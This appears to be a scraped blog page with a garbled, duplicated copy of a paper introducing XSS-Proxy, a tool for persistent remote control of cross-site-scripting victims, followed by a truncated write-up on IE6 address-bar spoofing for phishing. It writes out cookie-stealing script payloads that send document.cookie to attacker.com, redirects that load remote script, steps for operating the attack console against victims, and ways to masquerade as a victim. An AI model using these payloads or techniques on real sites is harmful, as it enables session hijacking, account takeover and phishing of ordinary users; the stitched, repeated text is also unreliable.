to redirect to other XSS vulnerable sites or forward specific blind requests to other
servers (see (3) on performing Cross-Site-Request-Forgeries aka CSRF and (4) on Session-
Riding).

This is achieved with either of the two attacks described above, but we will describe the two
server XSS redirect example. A victim gets an XSS vector via blog, comment board, email, etc
(Let’s assume our victim surfed to some public site where other users can create XSS - we’ll
call the site evilblog.com) and that Javascript content redirects the user to a second site (we’ll
call the second site banking.com and assume the site has an XSS in a search function that we
can repeat with a GET). The redirect URL refers to a vulnerable section (cgi/etc) on the
second server that will cause the server's response to contain attacker supplied
Javascript commands that the victim executes.

The initial XSS vector on evilblog.com would look something like this:
<script>document.location=”http://banking.com/search?name=<script src=’http://attacker.com/xss.js’></script>”</script>

With the above XSS vector, the page returned by the second server (banking.com) would
contain the following:
<script src='http://attacker.com/xss.js'></script>

The victim window now has a current document domain of banking.com and the Javascript
commands are running in that domain. This Javascript causes the victim to make a request
to http://attacker.com for more script commands. The XSS-Proxy utility is actually running
at attacker.com and serves up some Javascript to initialize this client that consists of
several functions for document reading, submission processing, response forwarding and
error handling, as well as some commands to create an IFRAME, load the root document (/)
of the target server (banking.com) into that IFRAME, wait a few seconds for it to load,
read the contents (using innerHTML), then make more script requests to
http://attacker.com. Sounds complex, but it's just several functions some references
to those functions and a timer event to make more script calls to the XSS-Proxy server. The
functions will stay in memory as long as the victim window doesn't change. Two things actually
happen when the victim makes the subsequent script requests to http://attacker.com:
1 - Contents of the document in the IFRAME (results of innerHTML for that object) are
    leaked in the URL of script request. Script requests are just GETs, so victim requests
    the script like a normal document, and stacks parms/info on the URL after the
    script/page name. This script request would appear somewhat like the following at the
    attacker's server:
    GET /xss.js?data=Encoded_innerHTML_Contents HTTP/1.1

    It's actually a bit more complex than that as IE limits URL lengths (to around 2049
    chars), so most documents will need to be chunked up into sections that will fit on
    the script URL requests. The actual tool tries to handle that, so puts some additional
    info into the URL requests for re-assembly.

2 - The server at http://attacker.com will respond to the last script request with more
    script commands to continue the persistence. The server will either respond with loop
    request (basically tells victim wait a few secs, then check back for more script
    commands), a document request (load doc into IFRAME, read it and forward results while
    getting more script commands), a submit requests (set input values in form within
    IFRAME, submit, await response, read response and forward results back while getting
    more commands), or a javascript var/function evaluation requests (evaluate an expression
    within the current window of victim browser and return result+get commands). This
    process continues as long as the victim stays on the same page.

Here's an ASCII visual of the Window and attacker target relationships after victim is
redirected to final Target and hijack session is initialized:

                      Attacker (XSS-Proxy)
                              ^ |
                              | |
                     commands and responses
Victim Browser                | |
-----------------------------|--|-------------
|Main Window                  | v             |
| - This is where our resident functions run   |
| - Commands from attack console execute here <------
| - Create IFRAME below and read/writes to it |     |
| - Victim polls every few sec for new commands|     |
|                          | ^                 |     |
|       -------------------|-|--------------   |     |
|      | IFRAME            v |              | |     |
|      | - This is our document "loader"    | |     |
|      | - other documents on target site   | |     |
|      |   are loaded here and read by code | |     ^
|      |   outside the IFRAME (main)        | |     |
|      |                                    | |     |
|      |                                    | |   Initial
|      |                                    | | XSS vector
|      |                      ^ |           | |   to load
|      |                      | |           | | functions
|       ----------------------|-|-----------   |    from
-----------------------------|-|--------------   XSS-Proxy
                              | |                    |
                              | |                    |
                              | v                    |
                          XSS vulnerable server -->--
                         (Target - banking.com)

There are many methods for hiding the actual "resident" attack window or the loader IFRAME.
The entire window could be hidden or the original site contents could be left and just the
IFRAME hidden. The current XSS-Proxy tool leaves the window and its IFRAME visible to
the victim, but it would be trivial to modify - the attacker can also do this interactively
with the Javascript Eval from. There also are many methods for forcing a user to load a
new window and with some additional logic even pop-up blockers can be bypassed (XSS process
re-writes the links in the original document to open a new window on click). The new window
could be a mirror of what the user was already viewing or the result of a clicked link in
the public XSS document and could trick the victim into leaving the XSS controlled window
running while they continue surfing.

** Using XSS-Proxy **
While the description above is a bit dry, an actual test drive of the tool against your
own XSS vulnerable site will highlight the dangers of this attack more fully. Here's the
general steps for a demo involving your XSS-flawed server with localhost browser as a
victim, an XSS-Proxy and an attacker browser. In a real-world attack, the XSS-flawed
server, victim and XSS-Proxy/attacker hosts would all probably different systems -
and it would probably involve a vector that redirects from one site to the final site
that XSS-Proxy will use.

Here's an overview on using the XSS-Proxy tool:
1 - Modify the perl script vars $code_server and $PORT to point to the system that you
    will be running the perl script on. Defaults to port 80 and http://localhost
2 - Run the perl script and point the attack browser at /admin on the server you are
    running the perl script. With defaults would be http://localhost/admin. This is the
    attacker admin console and is where victims can be managed and results viewed.
3 - The initialization URL a victim needs to point to is /xss2.js - Your initial XSS
    vector needs to point back to the perl server and this filename (ie for XSSing your
    own browser with local code server, enter
    <script src="http://localhost/xss2.js"></script>
    at a site that has an XSS vulnerable input)
4 - After you have a victim initialized and in a wait loop, you can either browse the /
    document of the XSS site and click on links you want the victim to visit/forward back,
    or you can enter documents/variables in the associated form inputs.

XSS-Proxy Admin Commands and operation.
- The console does not refresh/update on its own. You will need to press the
refesh/reload button in your browser.
- Javascript is not required to run the console and it may be safer to disable for the
attacker console. I've XSS'd myself a few times with some advanced testing.
- Sessions will show up in a "Clients" section once a victim gets XSS'd.
- Each victim/session should forward a copy of the "/" directory off the XSS'd server.
- Forwarded documents are listed in the "Document Results" section. If you click on a
document, it will rewrite the URLs and clicks within that document will make XSS-Proxy
request the same client load the link
- If you are modifying a form and submitting, then you need to make sure the last page
that client loaded is that same page, then fill out values and submit form. Some URL
re-writing is happening here as well and the code assumes that page is already loaded at
the victim.
- You can also do document loads manually by entering the URL in the "Fetch Document"
form. First value (left) is the session number, and second is the document to retrieve
(ie - 0 and http://xssed.com/stuff). The resulting document will be listed in the
"Document Results" section.
- The other form called "Evaluate" is for querying Javascript vars/functions from
specific clients. Enter session on left and var on right (ie - 0 and document.cookie
to display cookies for session 0)
- Results of evaluate requests will appear in the "Eval Results" section
- There is an error handler running in the victim browser, so errors from page loads and
evaluate requests will appear in the "Errors" section.

There are a few bugs in the code still, so read the initial comments in the controller
script to see what it may have issues with. The attack works with IE and Firefox browsers
(with some additional tweaks other browsers may work) and the Perl script runs on most
any OS with a basic Perl install. I've tested it on Linux and Windows (Activestate Perl)
with Perl5. It's lightweight and extremely portable, but Apache + a DB server would be a
more roust and stable platform.

** Implications of Attack/Tool **
This advanced attack allows a persistent connection and an arbitrary number of documents
to be loaded and forwarded by victims to an attacker. I call these victims in an
idle/wait state "Browser-Zombies". The ability to see documents, modify and submit
documents that the victim may have access to can allow an attacker to elevate access to
a site by assuming the rights/identity of the XSS victim. This is useful if the victim is
already logged into a site (see session-riding paper (4)) and the attacker piggybacks on
this existing session. Cookie theft alone does not work with all site and many sites use
other authentication methods. XSS-Proxy is an extreme example of session-riding (4) and
XSS combined and can allow access to the same resources a victim may have. Methods can
include cached/existing logins, client-side certificates, IP firewalled/filter access
and even access to other resources behind firewalls (see attack refinements below).

This attack also allows realtime (or scripted) access to the victim browser, and other
content-type or browser specific vulnerabilities could also be potentially leveraged for
additional browser/host access. This control channel could also be a delivery mechanism
for other forms of malware.

This also means than the initial XSS attack and controlled session is not just limited
to the current XSS vulnerable server. The attacker can re-direct the victim to other XSS
vulnerable sites after the initial browser hijack, and determine what access the victim
has to the site. This could even be a list of sites that the attacker knows have XSS
flaws and would like to check for special access with a specific victim. XSS-Poxy can
already do this if you have the victim evaluate the expression
document.location="http://newxsssite.com/xsscode". Here's an example if XSS-Proxy already
has an existing session 0:

Form Evaluate:
Session: 0
Expression: document.location="http://2ndxsssite.com/search.cgi?test=%3Cscript%20src='http://attacker.com/xss2.js'%3E%3C/script%3E"

The above command will change the current location of the victim's main window to a new
XSS target, load code from the attacker server, re-create a loader IFRAME and start a new
hijacked session with http://2ndxsssite.com as the current document domain. We have
transferred the initial XSS to another target and maintained control of the victim.

An extension of this idea is to force the victim to continue surfing normally in a window the
attacker creates and in the other XSS hijacked window force periodic redirects to a list of
interesting XSS sites -- with each redirect, the attacker checks to see if the victim is at
one of those sites. If the interactive window is at the same site as the current XSS check-site,
the attacker will be able to read the contents of the interactive window. This means the
attacker can now shoulder-surf the victim and even modify server responses and user
submission as long as the victim stays on that same site. XSS-Proxy doesn't currently do
this, but some interactive eval expressions for the session should be able to create a popup
window (if allowed in browser), make it full screen, and periodically check that window to
see if the victim has surfed to a location that can be read. For a useful attack, this needs
to be coded into XSS-Proxy as another attacker command.

Other refinements of this attack could allow blind CSRF based probing for other sites
with XSS flaws, with validation of XSS vulnerable sites. Validation would be determined
with responses that set the probe IFRAME/window back to the XSS controlled site and
allow the already resident XSS code reading the frame again (even more information could
be passed on the re-direct URL and even if it throws a 404 the XSS code can read it).
If the XSS probe is unsuccessful, the resident XSS code will be unable to read the IFRAME,
will delete the IFRAME and try the next test. Again, I'll update the XSS-Proxy site with
the details, but if there's a XSS flaw the CSRF injected vector will point back to a
site we already XSS control and our script will be able to read the window again. XSS-Proxy
has IFRAME access denial recovery logic that deletes the IFRAME and reloads the original XSS
target site root (/) upon failure to read IFRAME. This can be used to do this CSRF XSS
fuzzing attack with GET URLs by requesting the client fetch a document off another target
system and include some XSS code in the URL to set the frame back to the original XSS site
upon success. Here's an example for doing this with XSS-Proxy and a victim on session 0 who's
currently on http://xsssite1.com - this will probe http://csrfprobesite.com:

Form: Fetch Document
Session: 0
Location: http://csrfprobesite/probeurl?probevalue=<script>document.location="http://xsssite1.com/lalalalala"

If XSS-Proxy throws an access denied error for the document in the loader IFRAME, the fuzz
probe failed. If it doesn't throw an error and the new loader IFRAME document location is
set to "http://xsssite1.com/lalalalala", then your blind fuzz worked.
Note that IE needs somewhere over 512 bytes in the 404 message to override IE's
res:// based 404 errors. Firefox doesn't and always seems to read a 404 just fine.

I have another refinement of this attack that can allow the attacker to masquerade as the
victim and never reveal his location/IP to a specific target site. I'll be publishing
details on the XSS-Proxy site soon, but the method involves multiple XSS target sites and
covert channels between several IFRAMES on the same page for command/response
communications. The covert channel is an IFRAME who's location is swapped between the
two XSS sites and commands/responses are communicated via the locations URL (This will
normally throw a 404, but we can still read the location if it's set to the correct
document domain). The end-result is that one of the sites doesn't know where the remote
script server is located and thinks the attacker is actually the victim's browser,
while the other site passed the initial script call to the victim browser. An attacker
using something like Nikto thru the XSS-Proxy tool could attack the 2nd target site while
masquerading as the victim - XSS could be leveraged for other web vulnerability
exploitation. The site administrators would never know where the attack server was
located without a complete analysis of victim system during the attack. XSS-Proxy does
not handle this right now, but I've got some code additions soon that will allow it.

The basic controlled attack and it's extensions are very evil, and any other future DOM
interwindow trust vulnerabilities in browsers (like the recent drop window to tab Firefox
vulnerability) make the issue even worse as _all_ sites a victim has access to could also
be accessed by an attacker. Right now XSS-Proxy only grabs document contents (HTML/Text)
and images, files, and other contents are not downloaded to the attacker. Remote
retrieval of these other file types could be made possible with XSS re-injection and use
of functions like XMLHTTP for arbitrary binary content from the target server.

** Development Site and Additional Information **
XSS-Proxy is available at http://sourceforge.net/projects/xss-proxy

Home page with more detailed whitepaper, some diagrams, screenshots and my
Shmoocon slides is at http://xss-proxy.sourceforge.net

** References **
(1) CGISecurity's Cross Site Scripting FAQ
http://www.cgisecurity.com/articles/xss-faq.shtml
(2) Gunter Ollmann's XSS paper
http://www.technicalinfo.net/papers/CSS.html
(3) PeterW's Cross Site Request Forgery (CSRF) Concept
http://www.securityfocus.com/archive/1/191390
(4) SecureNet's Session Riding paper
http://www.securenet.de/papers/Session_Riding.pdf
(5) CERT info on XSS
http://www.cert.org/advisories/CA-2000-02.html
(6) Remote Scripting with IFRAMEs
http://developer.apple.com/internet/webcontent/iframe.html

Advanced Cross-Site-Scripting with Real-time Remote Attacker Control

2012-06-02T22:30:00.003-07:00

A Mini-Whitepaper

          Advanced Cross-Site-Scripting with Real-time Remote Attacker Control

Author: Untamed
Date: 6/2/2012

** Introduction **
Cross Site Scripting (XSS) is typically perceived as a minimal threat by many
developers and security professionals. There have been some good papers in the past
that should have woken folks up to the potential risks of XSS, but the problem is
still prevalent and most security folks are un-interested in the issue and its
ramifications. I hope to change that perception with this paper and the release of
a tool called XSS-Proxy that allows XSS attacks to be fully controlled by a remote
attacker. This paper describes current XSS attacks and introduces new methods/tool
for making XSS attacks interactive, bi-directional, persistent and much more evil.

This is not a detailed XSS HowTo, but an explanation of methods for taking XSS attacks
much further. CGISecurity's XSS FAQ (1) is a good resource for a better overview of
general XSS issues. I've also included several references (2,3,4,5) at the end of this
paper that are also great material on XSS and related topics.

This is also not a discussion on solutions as there are many resources on methods for
finding and fixing XSS holes. The extended attacks I introduce here bypass many of
the XSS mitigation methods I've seen other papers recommend (like hidden form inputs,
URL re-writing, POST methods, etc), as the attacker has access to the same site contents
(and jscript/values) as the victim. The only realistic solution is to either discard any
HTML and special char inputs or carefully, carefully filter to allow only certain things
in user input - event many sites that try to filter tags/chars can be tricked into XSS.
Another solution may be to partition sites into multiple document domains so it's more
difficult for an XSS vulnerability in one document domain to allow access to other areas
in the other domains. Perhaps putting site-search CGIs in one subdomain and sensitive
site areas in another would be useful.

** Brief XSS Background **
As many here probably know, current XSS attacks typically come in two flavors:
1 - Attacker uploads <script> tags to a public bulliten board, blog, or other site that
    has an XSS vulnerability and that lots of other users will visit. Attacker normally
    harvests site cookies for later user impersonation, but form submits and other attacks
    are sometimes utilized. This is what many folks I talk to think XSS is.
    Here's an example:

    Someone would post the following on evilblog.com that other users would process
    <script>document.write("<img src=http://attacker.com/” + document.cookie + “>”)</script>

    This would try to pull an image off the attacker's server with the user's evilblog
    cookies in the URL.

2 - Attacker uses a public XSS vulnerable site like above, or an XSS based email message
    to redirect a user to a second XSS vulnerable server. The second server is the
    attacker’s actual target and this site normally has a self-XSS issue where a user can
    inject <script> content into a document that only that user will see. This combined
    with the redirection from another site can allow cookie leakage, form/submit content
    leakage, or a specific action to perform as the XSS'd user against the second site.
    This is well known, but I tend to see less site administrators that understand this
    flavor of the attack.
    Here's how that would work:

    Someone would post the following on evilblog.com that other users would process:
    <script>document.location=’http://banking.com/search?name=<script>document.write("<img src=http://attacker.com/” + document.cookie + “>”)</script>’</script>

    When the user is redirected to banking.com with the above XSS, this is what will be
    returned to the user and executed:
    <script>document.write("<img src=http://attacker.com/” + document.cookie + “>”)</script>

    This would try to pull an image off the attacker's server with the user's banking.com
    cookies in the URL.

In the past other folks have also pointed out that more advanced site manipulation can
be achieved with an XSS script that opens an IFRAME (or other window-like element) and
loads/submits for other documents on the same site. DOM trust will allow Javascript to
interact with other windows/IFRAMEs it creates, as long as the windows point to the same
document domain (protocol + domain_name + port).

The current methods of XSS attacks are typically limited only a single transaction at the
final target site and typically result in cookie harvesting or form submission leakage.

** Basics of XSS-Proxy / Attack **
I have extended the normal XSS attack and combined it with the ability to pull additional
Javascript commands from arbitrary remote servers (aka Javascript Remoting - see (6) for
details with IFRAMEs) to allow XSS to be more than just a redirect with some cookie
leakage. This combination allows an attacker to establish a persistent, bi-directional
control/transfer channel to an XSS victim and access XSS’d sites as that victim. As long
as the victim is tricked into leaving the XSS window open and in the same location, we
have almost total control of the victim’s browser against the XSS site with the ability
to redirect to other XSS vulnerable sites or forward specific blind requests to other
servers (see (3) on performing Cross-Site-Request-Forgeries aka CSRF and (4) on Session-
Riding).

This is achieved with either of the two attacks described above, but we will describe the two
server XSS redirect example. A victim gets an XSS vector via blog, comment board, email, etc
(Let’s assume our victim surfed to some public site where other users can create XSS - we’ll
call the site evilblog.com) and that Javascript content redirects the user to a second site (we’ll
call the second site banking.com and assume the site has an XSS in a search function that we
can repeat with a GET). The redirect URL refers to a vulnerable section (cgi/etc) on the
second server that will cause the server's response to contain attacker supplied
Javascript commands that the victim executes.

The initial XSS vector on evilblog.com would look something like this:
<script>document.location=”http://banking.com/search?name=<script src=’http://attacker.com/xss.js’></script>”</script>

With the above XSS vector, the page returned by the second server (banking.com) would
contain the following:
<script src='http://attacker.com/xss.js'></script>

The victim window now has a current document domain of banking.com and the Javascript
commands are running in that domain. This Javascript causes the victim to make a request
to http://attacker.com for more script commands. The XSS-Proxy utility is actually running
at attacker.com and serves up some Javascript to initialize this client that consists of
several functions for document reading, submission processing, response forwarding and
error handling, as well as some commands to create an IFRAME, load the root document (/)
of the target server (banking.com) into that IFRAME, wait a few seconds for it to load,
read the contents (using innerHTML), then make more script requests to
http://attacker.com. Sounds complex, but it's just several functions some references
to those functions and a timer event to make more script calls to the XSS-Proxy server. The
functions will stay in memory as long as the victim window doesn't change. Two things actually
happen when the victim makes the subsequent script requests to http://attacker.com:
1 - Contents of the document in the IFRAME (results of innerHTML for that object) are
    leaked in the URL of script request. Script requests are just GETs, so victim requests
    the script like a normal document, and stacks parms/info on the URL after the
    script/page name. This script request would appear somewhat like the following at the
    attacker's server:
    GET /xss.js?data=Encoded_innerHTML_Contents HTTP/1.1

    It's actually a bit more complex than that as IE limits URL lengths (to around 2049
    chars), so most documents will need to be chunked up into sections that will fit on
    the script URL requests. The actual tool tries to handle that, so puts some additional
    info into the URL requests for re-assembly.

2 - The server at http://attacker.com will respond to the last script request with more
    script commands to continue the persistence. The server will either respond with loop
    request (basically tells victim wait a few secs, then check back for more script
    commands), a document request (load doc into IFRAME, read it and forward results while
    getting more script commands), a submit requests (set input values in form within
    IFRAME, submit, await response, read response and forward results back while getting
    more commands), or a javascript var/function evaluation requests (evaluate an expression
    within the current window of victim browser and return result+get commands). This
    process continues as long as the victim stays on the same page.

Here's an ASCII visual of the Window and attacker target relationships after victim is
redirected to final Target and hijack session is initialized:

                      Attacker (XSS-Proxy)
                              ^ |
                              | |
                     commands and responses
Victim Browser                | |
-----------------------------|--|-------------
|Main Window                  | v             |
| - This is where our resident functions run   |
| - Commands from attack console execute here <------
| - Create IFRAME below and read/writes to it |     |
| - Victim polls every few sec for new commands|     |
|                          | ^                 |     |
|       -------------------|-|--------------   |     |
|      | IFRAME            v |              | |     |
|      | - This is our document "loader"    | |     |
|      | - other documents on target site   | |     |
|      |   are loaded here and read by code | |     ^
|      |   outside the IFRAME (main)        | |     |
|      |                                    | |     |
|      |                                    | |   Initial
|      |                                    | | XSS vector
|      |                      ^ |           | |   to load
|      |                      | |           | | functions
|       ----------------------|-|-----------   |    from
-----------------------------|-|--------------   XSS-Proxy
                              | |                    |
                              | |                    |
                              | v                    |
                          XSS vulnerable server -->--
                         (Target - banking.com)

There are many methods for hiding the actual "resident" attack window or the loader IFRAME.
The entire window could be hidden or the original site contents could be left and just the
IFRAME hidden. The current XSS-Proxy tool leaves the window and its IFRAME visible to
the victim, but it would be trivial to modify - the attacker can also do this interactively
with the Javascript Eval from. There also are many methods for forcing a user to load a
new window and with some additional logic even pop-up blockers can be bypassed (XSS process
re-writes the links in the original document to open a new window on click). The new window
could be a mirror of what the user was already viewing or the result of a clicked link in
the public XSS document and could trick the victim into leaving the XSS controlled window
running while they continue surfing.

** Using XSS-Proxy **
While the description above is a bit dry, an actual test drive of the tool against your
own XSS vulnerable site will highlight the dangers of this attack more fully. Here's the
general steps for a demo involving your XSS-flawed server with localhost browser as a
victim, an XSS-Proxy and an attacker browser. In a real-world attack, the XSS-flawed
server, victim and XSS-Proxy/attacker hosts would all probably different systems -
and it would probably involve a vector that redirects from one site to the final site
that XSS-Proxy will use.

Here's an overview on using the XSS-Proxy tool:
1 - Modify the perl script vars $code_server and $PORT to point to the system that you
    will be running the perl script on. Defaults to port 80 and http://localhost
2 - Run the perl script and point the attack browser at /admin on the server you are
    running the perl script. With defaults would be http://localhost/admin. This is the
    attacker admin console and is where victims can be managed and results viewed.
3 - The initialization URL a victim needs to point to is /xss2.js - Your initial XSS
    vector needs to point back to the perl server and this filename (ie for XSSing your
    own browser with local code server, enter
    <script src="http://localhost/xss2.js"></script>
    at a site that has an XSS vulnerable input)
4 - After you have a victim initialized and in a wait loop, you can either browse the /
    document of the XSS site and click on links you want the victim to visit/forward back,
    or you can enter documents/variables in the associated form inputs.

XSS-Proxy Admin Commands and operation.
- The console does not refresh/update on its own. You will need to press the
refesh/reload button in your browser.
- Javascript is not required to run the console and it may be safer to disable for the
attacker console. I've XSS'd myself a few times with some advanced testing.
- Sessions will show up in a "Clients" section once a victim gets XSS'd.
- Each victim/session should forward a copy of the "/" directory off the XSS'd server.
- Forwarded documents are listed in the "Document Results" section. If you click on a
document, it will rewrite the URLs and clicks within that document will make XSS-Proxy
request the same client load the link
- If you are modifying a form and submitting, then you need to make sure the last page
that client loaded is that same page, then fill out values and submit form. Some URL
re-writing is happening here as well and the code assumes that page is already loaded at
the victim.
- You can also do document loads manually by entering the URL in the "Fetch Document"
form. First value (left) is the session number, and second is the document to retrieve
(ie - 0 and http://xssed.com/stuff). The resulting document will be listed in the
"Document Results" section.
- The other form called "Evaluate" is for querying Javascript vars/functions from
specific clients. Enter session on left and var on right (ie - 0 and document.cookie
to display cookies for session 0)
- Results of evaluate requests will appear in the "Eval Results" section
- There is an error handler running in the victim browser, so errors from page loads and
evaluate requests will appear in the "Errors" section.

There are a few bugs in the code still, so read the initial comments in the controller
script to see what it may have issues with. The attack works with IE and Firefox browsers
(with some additional tweaks other browsers may work) and the Perl script runs on most
any OS with a basic Perl install. I've tested it on Linux and Windows (Activestate Perl)
with Perl5. It's lightweight and extremely portable, but Apache + a DB server would be a
more roust and stable platform.

** Implications of Attack/Tool **
This advanced attack allows a persistent connection and an arbitrary number of documents
to be loaded and forwarded by victims to an attacker. I call these victims in an
idle/wait state "Browser-Zombies". The ability to see documents, modify and submit
documents that the victim may have access to can allow an attacker to elevate access to
a site by assuming the rights/identity of the XSS victim. This is useful if the victim is
already logged into a site (see session-riding paper (4)) and the attacker piggybacks on
this existing session. Cookie theft alone does not work with all site and many sites use
other authentication methods. XSS-Proxy is an extreme example of session-riding (4) and
XSS combined and can allow access to the same resources a victim may have. Methods can
include cached/existing logins, client-side certificates, IP firewalled/filter access
and even access to other resources behind firewalls (see attack refinements below).

This attack also allows realtime (or scripted) access to the victim browser, and other
content-type or browser specific vulnerabilities could also be potentially leveraged for
additional browser/host access. This control channel could also be a delivery mechanism
for other forms of malware.

This also means than the initial XSS attack and controlled session is not just limited
to the current XSS vulnerable server. The attacker can re-direct the victim to other XSS
vulnerable sites after the initial browser hijack, and determine what access the victim
has to the site. This could even be a list of sites that the attacker knows have XSS
flaws and would like to check for special access with a specific victim. XSS-Poxy can
already do this if you have the victim evaluate the expression
document.location="http://newxsssite.com/xsscode". Here's an example if XSS-Proxy already
has an existing session 0:

Form Evaluate:
Session: 0
Expression: document.location="http://2ndxsssite.com/search.cgi?test=%3Cscript%20src='http://attacker.com/xss2.js'%3E%3C/script%3E"

The above command will change the current location of the victim's main window to a new
XSS target, load code from the attacker server, re-create a loader IFRAME and start a new
hijacked session with http://2ndxsssite.com as the current document domain. We have
transferred the initial XSS to another target and maintained control of the victim.

An extension of this idea is to force the victim to continue surfing normally in a window the
attacker creates and in the other XSS hijacked window force periodic redirects to a list of
interesting XSS sites -- with each redirect, the attacker checks to see if the victim is at
one of those sites. If the interactive window is at the same site as the current XSS check-site,
the attacker will be able to read the contents of the interactive window. This means the
attacker can now shoulder-surf the victim and even modify server responses and user
submission as long as the victim stays on that same site. XSS-Proxy doesn't currently do
this, but some interactive eval expressions for the session should be able to create a popup
window (if allowed in browser), make it full screen, and periodically check that window to
see if the victim has surfed to a location that can be read. For a useful attack, this needs
to be coded into XSS-Proxy as another attacker command.

Other refinements of this attack could allow blind CSRF based probing for other sites
with XSS flaws, with validation of XSS vulnerable sites. Validation would be determined
with responses that set the probe IFRAME/window back to the XSS controlled site and
allow the already resident XSS code reading the frame again (even more information could
be passed on the re-direct URL and even if it throws a 404 the XSS code can read it).
If the XSS probe is unsuccessful, the resident XSS code will be unable to read the IFRAME,
will delete the IFRAME and try the next test. Again, I'll update the XSS-Proxy site with
the details, but if there's a XSS flaw the CSRF injected vector will point back to a
site we already XSS control and our script will be able to read the window again. XSS-Proxy
has IFRAME access denial recovery logic that deletes the IFRAME and reloads the original XSS
target site root (/) upon failure to read IFRAME. This can be used to do this CSRF XSS
fuzzing attack with GET URLs by requesting the client fetch a document off another target
system and include some XSS code in the URL to set the frame back to the original XSS site
upon success. Here's an example for doing this with XSS-Proxy and a victim on session 0 who's
currently on http://xsssite1.com - this will probe http://csrfprobesite.com:

Form: Fetch Document
Session: 0
Location: http://csrfprobesite/probeurl?probevalue=<script>document.location="http://xsssite1.com/lalalalala"

If XSS-Proxy throws an access denied error for the document in the loader IFRAME, the fuzz
probe failed. If it doesn't throw an error and the new loader IFRAME document location is
set to "http://xsssite1.com/lalalalala", then your blind fuzz worked.
Note that IE needs somewhere over 512 bytes in the 404 message to override IE's
res:// based 404 errors. Firefox doesn't and always seems to read a 404 just fine.

I have another refinement of this attack that can allow the attacker to masquerade as the
victim and never reveal his location/IP to a specific target site. I'll be publishing
details on the XSS-Proxy site soon, but the method involves multiple XSS target sites and
covert channels between several IFRAMES on the same page for command/response
communications. The covert channel is an IFRAME who's location is swapped between the
two XSS sites and commands/responses are communicated via the locations URL (This will
normally throw a 404, but we can still read the location if it's set to the correct
document domain). The end-result is that one of the sites doesn't know where the remote
script server is located and thinks the attacker is actually the victim's browser,
while the other site passed the initial script call to the victim browser. An attacker
using something like Nikto thru the XSS-Proxy tool could attack the 2nd target site while
masquerading as the victim - XSS could be leveraged for other web vulnerability
exploitation. The site administrators would never know where the attack server was
located without a complete analysis of victim system during the attack. XSS-Proxy does
not handle this right now, but I've got some code additions soon that will allow it.

The basic controlled attack and it's extensions are very evil, and any other future DOM
interwindow trust vulnerabilities in browsers (like the recent drop window to tab Firefox
vulnerability) make the issue even worse as _all_ sites a victim has access to could also
be accessed by an attacker. Right now XSS-Proxy only grabs document contents (HTML/Text)
and images, files, and other contents are not downloaded to the attacker. Remote
retrieval of these other file types could be made possible with XSS re-injection and use
of functions like XMLHTTP for arbitrary binary content from the target server.

** Development Site and Additional Information **
XSS-Proxy is available at http://sourceforge.net/projects/xss-proxy

Home page with more detailed whitepaper, some diagrams, screenshots and my
Shmoocon slides is at http://xss-proxy.sourceforge.net

** References **
(1) CGISecurity's Cross Site Scripting FAQ
http://www.cgisecurity.com/articles/xss-faq.shtml
(2) Gunter Ollmann's XSS paper
http://www.technicalinfo.net/papers/CSS.html
(3) PeterW's Cross Site Request Forgery (CSRF) Concept
http://www.securityfocus.com/archive/1/191390
(4) SecureNet's Session Riding paper
http://www.securenet.de/papers/Session_Riding.pdf
(5) CERT info on XSS
http://www.cert.org/advisories/CA-2000-02.html
(6) Remote Scripting with IFRAMEs
http://developer.apple.com/internet/webcontent/iframe.html

Address Bar Spoofing Attacks against Microsoft Internet Explorer 6

2012-05-27T22:00:00.000-07:00

Summary
=======

IE6 is the second most popular web browser (after IE7), with
market share of around 25% (according to recent surveys e.g.
http://marketshare.hitslink.com/report.aspx?qprid=2).

This write-up presents two new phishing attack techniques,
abusing an address bar issue (security vulnerability) with IE6 in
combination with non-standard DNS domain names. The net result is
that a phishing site may present itself via a link that when
clicked in IE6 displays an almost indistinguishable URL from the
one in used by the genuine site. The technique is new, i.e. it's
different than the ASCII similar characters and IDN homographs
attacks.

There are two techniques: the first technique presents an address
bar which is very similar (visually) to the address bar expected
for the genuine domain, by abusing the NBSP character. The second
technique presents an address bar visually identical to the one
expected for the genuine domain, using the fact that a non-DNSish
characters are not displayed in the address bar in some cases.
This technique requires registration of a non-standard domain,
hence it is probably theoretic only (although "site down"
imitation is still possible).

The attacks were verified with Windows XP SP2 and Windows XP SP3.

Introduction
============

URLs typically include host name, which tells the browser (after
DNS resolution) where to fetch the resource from. While regular
host names contain alphanumeric characters (a-z, A-Z and 0-9),
dots, hyphens and (in Intranets only) underscores, it is possible
to construct (at least syntactically) URLs whose host part
contain any octet (as explained in RFC 1035 section 3.1). The
interpretation of such characters when presented as links (when
IDN is not supported by the browser, see below) by the browser
and by the DNS infrastructure, as well as the way those
characters are presented by the browser (in the address bar) are
the subject of this write-up.

Non-DNS characters can be provided to the browser in several ways
(assuming e.g. an anchor HTML tag context):
*    In raw form, i.e. as a byte (octet), e.g. $
*    In HTML-encoded form, e.g. $
*    In URL-encoded form, e.g. %24

In raw form, the data is provided as-is. In HTML-encoded form,
the data is considered Unicode, and may undergo encoding. In URL-
encoded format, the data is (again) directly decodable into raw
form. The difference is subtle, but important. The octet values
00-7F (corresponding to the ASCII characters) have a single
interpretation across all systems. However, octet values 80-FF
may have different interpretation depending on the code page and
encoding system in use.

Address bar spoofing in IE6
===========================

Non-DNS characters
------------------
Within the ASCII range (00-7F), only the DNS subset of ASCII
characters is allowed.
As for higher values (e.g. A9 or %A9): IE6 uses DnsQuery_A to
resolve the name. DnsQuery_A assumes that the characters are in
the "current" Windows ANSI codepage (e.g. Windows-1252 or
Windows-1255, see
http://www.microsoft.com/globaldev/reference/WinCP.mspx for a
list of Single Byte code pages). It translates the characters
into UTF-8 representation and sends them this way. So %A9 is URL-
decoded into the byte (\xA9) by IE6, then this raw byte is
forwarded to DnsQuery_A, which interprets it according to the
current codepage (e.g. Windows-1252 or Windows-1255) as
COPYRIGHT_SIGN, moves to Unicode (U+00A9), and UTF-8 encodes this
symbol (into the 2 byte sequence (\xC2) (\xA9)). The net result
is that http://www.foo%A9bar.com goes out as a DNS query on
www.foo(\xC2)(\xA9)bar.com.
As it happens, almost all single-byte character sets (Windows-
1250...Windows-1258) interpret (\xA9) as COPYRIGHT_SIGN, and the
one exception being Windows-874 (Thai) which does not.

NOTE: the code page for a particular Windows box is determined
through the Control Panel (Regional and Language Options ->
advanced [tab], in the Languages for non-Unicode programs). The
Windows ANSI code page is derived from the language specified via
the table as provided in http://msdn.microsoft.com/en-
us/library/ms776260.aspx. For example, if the language is English
(all variants) then the Windows ANSI code page is 1252, whereas
if the language is Hebrew, then the Windows ANSI code page is
1255. As can be seen, the only languages whose code page is not
Windows-1250...Windows-1258 are the far east languages Chinese,
